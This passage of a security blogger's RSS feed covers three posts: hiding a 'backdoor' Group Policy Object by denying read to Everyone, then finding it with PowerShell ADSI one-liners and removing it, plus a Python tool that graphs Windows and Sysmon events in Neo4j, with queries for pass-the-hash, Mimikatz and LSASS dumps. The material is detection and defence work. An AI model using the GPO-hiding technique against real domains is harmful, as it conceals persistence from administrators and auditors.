href="https://en.wikipedia.org/wiki/Active_Directory"><em>Active Directory</em></a><em> environment.</em></li><li><strong>You can’t see me (Hidden): </strong>What constitute a GPO to hidden even from a privileged domain user or group (e.g Domain Administrator)?</li></ol><p>Answer: Deny to read from “Everyone”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIhTGEzspY72sKmOcA29dQ.png" /><figcaption>figure 1 — Setup a hidden GPO</figcaption></figure><p>After accepting the changes <em>backdoorGPO</em> changes its status to inaccessible.</p><p><strong>Outcome — Offensive Side</strong></p><p>The following screenshots illustrate the outcome of the PowerShell script which you can either grab from my <a href="https://github.com/tasox/PowerShell_scripts">GitHub repository</a> or copy/paste directly from this post. Firstly we must understand where we are sitting on. I already undertook to reach to the intended result using only PowerShell ADSI.</p><blockquote>PS&gt; [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*IoJIpLhIm9d7bGtiZu7wkA.png" /><figcaption>Figure 2 - Identify Domain Name</figcaption></figure><p>I would like to highlight the implications of my clumsy coding that produced false positives, which is my worst enemy during the creation of my coding projects. Observe the output of the following code on figure 3 and compare it with next inline script (figure 4).</p><blockquote><em>PS&gt; (([adsisearcher]’(objectcategory=organizationalunit)’).FindAll()).Path | %{if(([ADSI]”$_”).gPlink){Write-Host “[+] OU Path:”([ADSI]”$_”).Path;$a=((([ADSI]”$_”).gplink) -replace “[[;]” -split “]”);for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host “Policy Path[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host “Policy Name[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output “`n” }}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVNl7cxKmxVA33HpyNCzOw.png" /><figcaption>figure 3 —</figcaption></figure><blockquote><em>PS&gt;(([adsi]’LDAP://DC=adsecurity,DC=lab’),(([adsisearcher]’(objectcategory=organizationalunit)’)).findall()).Path | %{if(([ADSI]”$_”).gPlink){Write-Host “[+] OU Path:”([ADSI]”$_”).Path;$a=((([ADSI]”$_”).gplink) -replace “[[;]” -split “]”);for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host “Policy Path[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host “Policy Name[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output “`n” }}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WE9AirRlUsn6wXyKvG5jlQ.png" /><figcaption>Figure 4 — Linked Policies in OUs</figcaption></figure><p>In case that we are interested to seek the linked policies applied only to the ROOT Domain then we should use the following code:</p><blockquote><em>PS&gt;(([adsisearcher]’’).SearchRooT).Path | %{if(([ADSI]”$_”).gPlink){Write-Host “[+] Domain Path:”([ADSI]”$_”).Path;$a=((([ADSI]”$_”).gplink) -replace “[[;]” -split “]”);for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host “Policy Path[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host “Policy Name[$i]:”([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output “`n” }}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EENHNgnvjmdxjDgdUESbxQ.png" /><figcaption>figure 5 — Root Domain linked policies</figcaption></figure><p>Reaching the end of our developing for a more effective script I would like to highlight something that I noticed during the creating process. The script above ended with a NULL name and path after crossing the hidden GPO. Observe the results of the script on the figure 6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vvH8cXvejtmfYpcAPVysMA.png" /><figcaption>figure 6 — Null name of a hidden GPO</figcaption></figure><p>In order for the results to look more elegant I had to modify the script again with additional output information. See figure 7</p><blockquote>PS&gt;(([adsi]’LDAP://DC=adsecurity,DC=lab’),(([adsisearcher]’(objectcategory=organizationalunit)’)).findall()).Path | %{if(([ADSI]”$_”).gPlink){Write-Host “[+] OU Path:”([ADSI]”$_”).Path;$a=((([ADSI]”$_”).gplink) -replace “[[;]” -split “]”);for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host “Policy Path[$i]:”($a[$i]).Substring(0,$a[$i].length-1);$b=([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName;if($b){Write-Host “Policy Name[$i]:”$b}else{Write-Host “Policy Name[$i]: HIDDEN POLICY!!!”}}};Write-Output “`n”}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*iuRhm7xbYupNfwUWj0xMKg.png" /><figcaption>figure 7 — Hidden Policy</figcaption></figure><p>Lately, I’ve evaluated the script and I noticed that some useful information was missing. From the previous outputs are you able to identify the missing puzzle?!</p><p>Answer: Linked, Enforced and Inheritance!</p><blockquote>PS&gt;$domain=([ADSI]”LDAP://RootDSE”).rootDomainNamingContext;(([adsi]”LDAP://$domain”),(([adsisearcher]’(objectcategory=organizationalunit)’)).findall()).Path | %{if(([ADSI]”$_”).gPlink){Write-Host “[+] OU Path:”([ADSI]”$_”).Path;$a=((([ADSI]”$_”).gplink) -replace “[[;]” -split “]”);for($i=$a.length;$i -ge 0;$i — ){if($a[$i]){Write-Host “Policy Path[$i]:”($a[$i]).Substring(0,$a[$i].length-1);$status=$a[$i].Substring($a[$i].length-1,1);$b=([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName;if($b){Write-Host “Policy Name[$i]:”$b}else{Write-Host “Policy Name[$i]: HIDDEN POLICY!!!”} switch($status) {“0” {“Linked[$i]: True”;Write-Host “Enforced[$i]: False”} “1” {“Linked[$i]: False”;Write-Host “Enforced[$i]: False”} “2” {“Linked[$i]: True”;Write-Host “Enforced[$i]: True”} “3” {“Linked[$i]: False”;Write-Host “Enforced[$i]: True”} };if(([ADSI]”$_”).gPOptions){Write-Host “BlockInheritance[$i]: True”}else{“BlockInheritance[$i]: False”} Write-Output “`n” }};Write-Output “`n”}}</blockquote><p><strong>Threat removal — Blue Side</strong></p><p>Earlier I presented to you a way to identify the hidden GPO on your Active Directory environment using PowerShell and ADSI. Now, it’s time to remove the potential threat from our environment using the <em>Group Policy Management editor</em> but before doing that I would like to draw the impact of this backdoor. Audit teams should also pay attention to the following figure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*blFnEH369DAgwWQGpysCRQ.png" /><figcaption>figure 1 — Generating report</figcaption></figure><p>Although my user is a member of a privileged group, I don’t have the permissions to generate report for <em>backdoorGPO. </em>Audit teams will fail to uncover this type of GPO in their assessments.</p><p>Now that we have an insight of what constitutes a hidden GPO, let’s remove it from our environment. Firstly, identify the <em>cn</em> (Common Name)/UniqueID using either the <em>PowerShell script </em>(figure 2) or <em>Group Policy Management editor (figure 3).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sZwb2UjNTyvAvHrAHMUzA.png" /><figcaption>figure 2 — backdoorGPO / CN (Powershell)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*ukXTCkOENrj-FoHYu56iXg.png" /><figcaption>figure 3 — backdoorGPO / CN (Group Policy Management editor)</figcaption></figure><p>Those who already tried to delete the hidden GPO from the <em>Group Policy Management editor</em> propably faced the below (figure 4) annoying information message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*41s-vKQe5aruKU7_3OlYVg.png" /><figcaption>figure 4</figcaption></figure><p>To successfully remove the <em>backdoorGPO </em>you should launch Server Manager and shift towards <em>Active Directory Users and Computers &gt; System &gt; Policies. </em>It is evident that the <em>cn/UniqueID name</em> of the <em>backdoorGPO</em> <em>is included </em>among other GPOs. To remove it, you have to edit its permissions otherwise another error message will prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*DxIE66alJ0jnNukl5XBtnA.png" /><figcaption>figure 5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2QM9GhQOYRpM4QnxZdGMg.png" /><figcaption>figure 6— Edit permissions</figcaption></figure><p>We setup everything right in order to remove the hidden GPO, last step is lauch <em>Group Policy Management editor</em>, identifying the <em>backdoorGPO</em> and delete it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*XWRRtysBuJUO9k-2hNvuDg.png" /><figcaption>figure 7 — Delete hidden GPO</figcaption></figure><p><strong>Conclusion</strong></p><p>If you are a member of a Blue Team or Audit team I would highly recommend to start learning Powershell because Powershell has superior insight about Windows and it can facilitate your every day routines. In addition, it will help you to develop your skills and your mindset.</p><p>Thanks for reading! Grab the latest Powershell script from <a href="https://github.com/tasox/PowerShell_scripts">here</a>.</p><p>References</p><ol><li><a href="http://www.jaapbrasser.com/wp-content/uploads/2012/11/Adsisearcher-Examples.txt">http://www.jaapbrasser.com/wp-content/uploads/2012/11/Adsisearcher-Examples.txt</a></li><li><a href="https://techsupt.winbatch.com/webcgi/webbatch.exe?techsupt/nftechsupt.web+WIL~Extenders/ADSI+Find~Exchange~Servers.txt">https://techsupt.winbatch.com/webcgi/webbatch.exe?techsupt/nftechsupt.web+WIL~Extenders/ADSI+Find~Exchange~Servers.txt</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a284b6814c81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Events & Sysmon Visualization using Neo4j (part 2)]]></title>
            <link>https://medium.com/@pentesttas/windows-events-sysmon-visualization-using-neo4j-part-2-d4c2fd3c9413?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4c2fd3c9413</guid>
            <category><![CDATA[neo4j]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[windows-event-logs]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Thu, 26 Mar 2020 20:48:17 GMT</pubDate>
            <atom:updated>2020-03-26T20:48:17.075Z</atom:updated>
            <content:encoded><![CDATA[<p>After the small introduction <a href="https://medium.com/@pentesttas/windows-events-sysmon-visualization-using-neo4j-part-1-529ca5ab4593">in part 1</a>, it is time to get our hands a little bit dirtier. On this second part of my post I will try to highlight some portions of the script that may help you understanding the tool better and extend its capabilities. Whether you are a member of a <em>Red, Blue or Purple</em> team, understanding how the Windows Events behave is extremely valuable. In addition, we will import some data into the neo4j and afterwards we will build some custom queries in order to visualize the path of Event(s).</p><p>Before we jump deeper into the second part it is critical for us to find or generate a sample of Events derived from a<em> threat agent which is designed for a specific purpose</em>. One web site that comes into our minds is <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a>, <em>a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations</em>.</p><p>For the below demonstration, I have used some Windows Events created not only from commercial tools like <a href="https://www.cobaltstrike.com/">Cobaltstrike</a>, but also using Windows built-in commands like <strong>runas</strong>. Additionally, I got a sample of events from <a href="https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES">https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES</a>.</p><p><strong>Why “epimitheus”?</strong></p><p>In Greek mythology “Epimitheus” was the brother of Prometheus, two Titans who “acted as representatives of mankind”. His name has been identified since antiquity, <em>as the one who comes to the conclusions after the fact.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*SW2Fb_VhDzNyecFPxDOaxA.jpeg" /><figcaption>Wikipedia</figcaption></figure><p><strong>Learning your tools</strong></p><p>Many times I caught myself reflecting to the social media posts of those more experienced saying:</p><blockquote>“Learning your tools in depth!”</blockquote><p>It is very important for you to learn the tools that you use and don’t forget that every tool is created for specific reason; it is primarily doing a specific job. The job of “epimitheus” is to read the initial XML from Windows Events viewer or from Sysmon, create a new XML with the correct Event properties and import them to neo4j. “Epimitheus”, is also responsible for creating the relationships between them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*0xbwUlzecAnnXj2fGh7gjw.png" /><figcaption>Usage of Epimitheus</figcaption></figure><p>The benefit you will get if you execute “epimitheus” in your domain, is that it will try to resolve the domain hosted SIDs, otherwise it will return the SID of the domain object. The function that is responsible for doing that is called <strong>sid2name().</strong></p><p><strong>Import data:</strong></p><blockquote>python3 epimitheus.py -i “bolt://localhost” -u “neo4j” -p “&lt;password&gt;” -x cobaltstrike.xml -o NeoEvents.xml</blockquote><p>When I got access to the remote host, I used CobaltStrike to generate some Windows Events which I exported from Windows Event Viewer and named it cobaltstrike.xml. This XML file will be used as import by providing -x argument. To successfully import data to the database, you have to provide the -i , -u, -p flags and -o, which will create the new file that will have all the data before inserting them into the Neo4j.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82qf2om0vLI5yHEaKclyQQ.png" /><figcaption>Importing Windows Events to Neo4j.</figcaption></figure><p>In case that you want to import specific events you can execute the following command:</p><blockquote>epimitheus.py -i “bolt://localhost” -u “neo4j” -p “&lt;PASSWORD&gt;” -x cobaltstrike.xml -o newXML.xml <strong>-e 4625 4648</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*_qUzE7YcaIR7Q3M-mLrERQ.png" /><figcaption>Importing Windows Events 4625 and 4648</figcaption></figure><p>Before moving further lets analyze the output from the first import. As you know every Windows Event had a unique value that is named “EventRecordID” and you will encounter this property in all of the events. So, lets jump up again to the figure above and observe the responded message:</p><blockquote>Event ID 4769 with Record ID &lt;Record IDs&gt; discarded because the TargetUser <strong>—</strong> is into the bListedUsers list.</blockquote><p>The tool clearly notifies us that the user/computer who belong to that event is a member of bListedUsers alias Black Listed Users/Computers. The tool filters the records which have as target user the value “-”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puPs1g0104stt77C7Oc0QA.png" /><figcaption>Black Listed Users</figcaption></figure><p>Use blacklistedUsers list in line 176 in order to filter the events before these get into the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSwVu0uAdiKsG1-EdzkwWw.png" /><figcaption>Seek the EventRecordID 802498</figcaption></figure><p>As expected, the “newXML.xml” file does not include the Event with record id “802498”. The same applies to the other 3 (802475,799539,799464) entries.</p><p>Another part of the script that I should mention here is the part of filtering the Events that it will process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPU366bKIWGSOXtwTJ3Ikg.png" /><figcaption>Epimitheus Windows Event list.</figcaption></figure><p>If the Windows Event file that you are using includes Event ID(s) that do not belong to the above list, then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*SX3hiea22a0mWZbe0xswmg.png" /></figure><p>This message can’t be categorized as an error but as a notification. If you don’t want to see this notification, then just simply add the missing Event to the list.</p><p><strong>Analyze the path of the Event</strong></p><p>The figure below represents the path of Windows Events. Nodes are connecting from the tool and these connections are called relationships. The relationships connect 4 different nodes. For example:</p><blockquote><em>RemoteHosts→TargetUser →Event →TargetHost</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pSiticvb-WbYfP-PKx3TvA.png" /><figcaption>Windows Event (4625) path.</figcaption></figure><p>Lets play a little bit with neo4j and get some useful information from event 4624 (Successful Login). One interesting event that every team would like to observe is the <strong>RDP </strong>(Remote Desktop) connections. What comprises a successful RDP connection?</p><blockquote>Logon Type: 10 , EventID:4624</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*4PlsDEp-zN2Vr3X5TVMy0g.png" /><figcaption>Logon Types (4624)</figcaption></figure><blockquote>MATCH p=(a:RemoteHosts) →(b:TargetUser) →(c:Event) →(d:TargetHost) WHERE c.LogonType = ‘10’ AND c.EventID=’4624&#39; RETURN p</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GlF0VXRUf-XehHMZ_iuZyQ.png" /><figcaption>RDP connections</figcaption></figure><p>Another interesting event path that propably would like to investigate more is RunAs command. Why someone should execute RunAs (Blue side question) and especially if that user is a member of domain users?</p><blockquote>MATCH p=(a:RemoteHosts) →(b:TargetUser) →(c:Event) →(d:TargetHost) WHERE c.LogonType = ‘2’ AND c.LogonProcessName = “seclogo” RETURN p</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*1zw9P5QGIoNLKU964A1dPQ.png" /><figcaption>RunAs</figcaption></figure><p><strong>Pass-The-Hash</strong></p><blockquote>MATCH p=(a:RemoteHosts) →(b:TargetUser) →(c:Event) →(d:TargetHost) WHERE c.LogonProcessName = ‘NtLmSsp ‘ AND NOT c.TargetUserName IN [‘ANONYMOUS LOGON’] RETURN p</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DsMO3yZThevZcqYr5HcavQ.png" /><figcaption>Pass-The-Hash Error Login (4625)</figcaption></figure><p><strong>Memory dump</strong> (procdump.exe)</p><blockquote>python3 epimitheus.py -i “bolt://localhost” -u “neo4j” -p “&lt;password&gt;” -x “sysmon_10_11_lsass_memdump.xml” -o newXML.xml -s</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*c19Rq1WQ6A21bBRTT8sBqg.png" /><figcaption>Memory dump (procdump)</figcaption></figure><p><strong>Find the filenames that created by procdump</strong></p><blockquote>MATCH p=(a:RemoteHosts) →(b:TargetUser) →(c:Event) →(d:TargetHost) RETURN collect(c.TargetFilename)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lw2341eBgfZcaHhs2G-8Cg.png" /></figure><p><strong>Mimikatz sekurlsa (PtH)</strong></p><blockquote>epimitheus.py -i “bolt://localhost” -u “neo4j” -p “&lt;password&gt;” -x “LM_4624_mimikatz_sekurlsa_pth_source_machine.xml” -o newXML.xml</blockquote><p><strong><em>Neo4j Query:</em></strong></p><blockquote>MATCH p=(a:RemoteHosts) →(b:TargetUser) →(c:Event) →(d:TargetHost) WHERE c.LogonType = “9” AND c.LogonProcessName = “seclogo” RETURN p</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*wnnn2GiMVCEJNyQQb0pekA.png" /><figcaption>Mimikatz sekurlsa (PtH)</figcaption></figure><p>If you enable the detailed tracking for the <strong>CMD </strong>then you will be able to see the commands that someone executed to the Event 4688.</p><p><strong>Next steps</strong></p><p>One of my future goals is to identify the attack path using the Windows Events; how a threat moved on our network and what actions it made.</p><p><strong>Conclusion</strong></p><p>Windows Events is a great resource for every team member and if you enable the appropriate events, then you will be able to have a better tracking. Better tracking means also a better understanding of what kind of network you are dealing with or better understanding of the network generally, i.e Should I permit it to be executed? If yes from which user(s)? etc. In this early days of “epimitheus” I am expecting a lot of updates :)</p><p><a href="https://github.com/tasox/Epimitheus"><strong>Download Epimitheus</strong></a></p><p><strong>Resources</strong></p><p><em>https://www.blackhat.com/docs/us-14/materials/us-14-Hathaway-Why-You-Need-To-Detect-More-Than-PtH.pdf</em></p><p><em>https://www.sans.org/reading-room/whitepapers/forensics/windows-logon-forensics-34132</em></p><p><em>https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf</em></p><p>https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4c2fd3c9413" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Events & Sysmon Visualization using Neo4j (part 1)]]></title>
            <link>https://medium.com/@pentesttas/windows-events-sysmon-visualization-using-neo4j-part-1-529ca5ab4593?source=rss-4ff620c15720------2</link>
            <guid isPermaLink="false">https://medium.com/p/529ca5ab4593</guid>
            <category><![CDATA[neo4j]]></category>
            <category><![CDATA[python3]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[windows-event-logs]]></category>
            <dc:creator><![CDATA[Tasos Chatziefstratiou]]></dc:creator>
            <pubDate>Mon, 23 Mar 2020 21:05:35 GMT</pubDate>
            <atom:updated>2020-03-23T21:05:35.136Z</atom:updated>
            <content:encoded><![CDATA[<p>Everything started two years ago, after a post from Nikhil Mittal (@nikhil_mitt). Nikhil was able to extract hosts &amp; ips from the windows firewall. My thought on that moment was that if we can obtain so much useful information from the Windows Firewall, then image how juicy the Windows Events could be. My first attempt to use Windows Events was through this project <a href="https://github.com/tasox/LogRM">https://github.com/tasox/LogRM</a>. For the past two years I have been working on developing a tool that would convert the text form of Windows Events into a graphical representation. This has been a very significant learning process for me as I gained important knowledge over Windows Events, I faced numerous problems and managed to resolve most of them. This tool may not replace already existing and trusted solutions in our field but I firmly believe that this can be an addition to our tool-set that may assist in getting an in-depth understanding of the Windows Events.</p><p><strong>I am not …</strong></p><p>A developer and I am far away from being an expert on Windows Internals, on threat hunting, on red teaming etc. Therefore, please be lenient with my coding skills and the logic behind this tool :)</p><p><strong>Goal &amp; Logic</strong></p><p>Okay, I had an idea but I had to also set a goal and that goal should be clear from the beginning. In addition, another important piece of the puzzle was the logic behind the coding. What could be the right representation of an event? After a lot of trial and error, the below was the final solution:</p><blockquote>One <strong>source host/ip</strong> can have multiple <strong>targeted users</strong> and every targeted user can have multiple <strong>events</strong>. Every event has one <strong>destination host/ip</strong></blockquote><p><em>Source Host/IP-&gt;Target Users-&gt;Events-&gt;Destination Host/IP</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nb0OGVAJjitH3SbhKxl67g.png" /><figcaption>Windows Event path</figcaption></figure><p><strong>The logical problems</strong></p><p>The biggest problem that I faced during this journey was my limited knowledge on python3 or Neo4j, and for this tool to work I had to combine both of them. The first time that I imported the data into Neo4j, I noticed that I didn’t understand the structure of an event. For example “What is the difference between TargetUserName and SubjectUserName? Some events have null values on those keys and some others not, why? “ etc. As a result, I imported the wrong data into the database. If one event is incorrect then everything is incorrect and the last thing that we want is to have false positives into the neo4j. The aforementioned problems are only a sample of the problems I faced.</p><p><strong>Performance problem</strong></p><p>In the early days of my tool I used many loop functions and, in conjunction with another logical issue, the python script was closing the connection with the database after 60.000 entries. That was the first time that I made a lot of updates, I changed from python to python3 and I added also the multiprocessing functionality as well. But the problem was still there. A friend on Twitter got me thinking a lot…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*zSBGBU8oNGDqy8iCxD9NSA.png" /><figcaption>Figure 1</figcaption></figure><p>Now I knew that something on my code was wrong. As I mentioned before, I am not a developer and the coding errors was something that I excepted but not something like that. My biggest issue was:</p><blockquote>“False python usage can break the performance.”</blockquote><p>That happens when you combine thousands of data with thousands of properties. Imagine if you have millions of events and properties. You don’t need python loops if you are using neo4j!</p><p>Neo4j will do the hard work for you and, believe me, you will be amazed with the results.</p><blockquote>“70.000 events with their properties and 120.000 relationships, in 10 minutes on my laptop! How fast can the tool be on the appropriate hardware?!”</blockquote><p>Additionally to the above updates, the script creates an xml file. That xml file is the final step before the data is imported into the neo4j. As a procedure this is faster as I can have the data ready to be imported without having to read/delete (filter) the tags from the initially exported xml (Windows Event Viewer).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXaSV3Ye3Av898tNPBxUtg.png" /><figcaption>Figure 2</figcaption></figure><p><strong>What do we need?</strong></p><p>For the script to be executed successfully, we must firstly install the Neo4j Bolt driver,</p><pre>pip install neo4j</pre><p>, and download the version of the neo4j that is more useful for you. For example, I use the Neo4j Desktop.</p><p><a href="https://neo4j.com/download/">Download Neo4j Desktop</a></p><p><strong>Windows Events Forwarding</strong></p><p>In case that you want to enable the forwarding of the events then follow the steps below. This solution worked for me but if you know any other way, feel free to share it.</p><blockquote>1. winrm quickconfig (execute it to all hosts that you want to collect events)<br>2. wecutil qcin (execute it to the Server)<br>3. wevtutil sl security /ca:O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1–5–32–573)(A;;0x1;;;s-1–5–20) -&gt; Execute it to all hosts that you want to collect their events.Needs admin privileges.<br>4. Add Host that collects the events to all hosts Event Log Readers group.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WEgtyvFXHGsopgu-Rp0hZA.png" /><figcaption>Event Forwarding Step 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kxjdke8C89S6tk7HBV23lg.png" /><figcaption>Event Forwarding Step 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qRLhgI7ITcOzXivF7K6VA.png" /><figcaption>Event Forwarding Step 3</figcaption></figure><p>References:</p><p><a href="https://www.loggly.com/ultimate-guide/centralizing-windows-logs/">https://www.loggly.com/ultimate-guide/centralizing-windows-logs/</a><br><a href="https://serverfault.com/questions/763026/event-log-subscription-returns-error-code-0x138c">https://serverfault.com/questions/763026/event-log-subscription-returns-error-code-0x138c</a></p><p><strong>Neo4j Queries</strong></p><p>Maybe you have already played a little bit with a great tool that is called Bloodhound. The greatest part of this tool is that you can extend its capabilities by using your own queries and adjust it to your needs. The same principal is applied to my tool and you don’t need to be neo4j developer to write your own queries. Simply understanding how the events are structured is more than enough.</p><blockquote>“Every detail of the event is found inside the Neo4j.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1wsuGHL32qD51k1Ugzaw-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*DuZKZhy9Og16dbiXufV7rw.png" /><figcaption>Event Structure</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=529ca5ab4593" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>